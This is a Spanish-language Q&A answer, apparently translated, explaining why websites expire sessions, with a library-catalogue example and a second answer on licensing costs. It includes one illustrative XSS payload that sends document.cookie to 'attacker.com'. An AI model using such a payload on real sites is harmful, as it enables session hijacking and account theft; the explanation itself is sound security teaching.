¿Por qué es necesario que las sesiones del sitio web expiren?

Puede parecer que la biblioteca se fue por la borda, pero creo que su corazón está en el lugar correcto. Están agotando su sesión para protegerlo de dos tipos de amenazas:

  • A corto plazo y local. Te alejas de tu cuenta en el catálogo para encontrar un libro en las pilas, y para cuando descubres el Sistema Decimal Dewey y lees la descripción de la chaqueta, ya han pasado al menos tres minutos. En ese momento, el atacante podría salir fácilmente de su escondite y comenzar a presionar botones en su cuenta, y quién sabe qué podría hacer. ¿Qué pasa si él cambió la dirección que tiene en el archivo a un vecindario menos deseable? ¿O escribiste mal tu nombre para avergonzarte? Cosas así aparecen en el club de lectura, por lo que es mejor no arriesgarse.
  • A largo plazo y remoto. Si su sesión persiste durante días o semanas, o de alguna manera se vuelve zombie y se mantiene con vida cuando cierra su navegador, [1] el administrador del sistema comienza a preocuparse menos por los padres PTA pasivos-agresivos y más por los crackers endurecidos de las cuentas de la biblioteca que roban su lectura historia y venderla al mejor postor. Digamos que el atacante encuentra un agujero en el sitio web de la biblioteca que le permite robar su ID de sesión simplemente enviándole un enlace y haciendo que haga clic en él. (Hay un príncipe africano que realmente quiere conocerte. Su nombre es ">(new Image()).src='attacker.com/?'+document.cookie ) [2]

    Ahora que tiene su ID de sesión, puede hacerse pasar por usted de forma remota sin que lo sepa hasta que encuentre humos nocivos para los pies y cómo curarlos en su cola de préstamos. Dado que la sesión no expiró cuando debería, su cuenta se ve comprometida sin importar cuándo hizo clic en el enlace o qué tan pronto respondió.

El ejemplo # 2 es un poco artificial porque la mayoría de los sistemas modernos no fallan exactamente de esa manera, y hay otra falla allí que no está relacionada con su pregunta, pero el punto es que poner un breve tiempo de espera en su sesión protege sus cosas al reducir la ventana en el que un atacante tiene que actuar para secuestrarlo. Ya sea que deje físicamente una máquina en un lugar público o filtre digitalmente las claves de su sesión, el problema es el mismo: hasta que finalice la sesión, alguien en la posición correcta puede pretender ser usted. Cuanto menos tiempo le des a tu cuenta para que se quiebre, mejor.

¿Por qué la biblioteca tomaría precauciones tan fuertes? Aparte del hecho de que un inicio de sesión puede ser atacado de maneras no obvias, en realidad es solo una buena seguridad. Y a diferencia del teatro de seguridad con el que tratamos todos los días, el costo de la comodidad realmente hace que su cuenta sea más segura. Diferentes personas se enfrentarán en diferentes lados de esa compensación, pero los diseñadores de sistemas son cautelosos porque su trabajo es mantener su información segura, incluso si no le importa.

—-
[1] La gran mayoría de las sesiones finalizan cuando el navegador se cierra (una propiedad del manejo de cookies) y se regenera con una nueva ID si hay una función de “recordarme”.
[2] Hacer clic en un enlace podría iniciar una nueva sesión incluso si la anterior terminó, por lo que este ataque se trata tanto de secuestro como de tiempo de espera. Aún así, un sistema que mantiene vivas las sesiones antiguas correría un riesgo aún mayor.

Además de la excelente respuesta anterior, algunos proveedores de software cobran por conexión simultánea. Como resultado, el tiempo de espera de las sesiones de manera eficiente ayudaría a mantener bajos los costos de licencia. A modo de ilustración, conozco algunos complementos para una plataforma que cuestan USD $ 250k por asiento.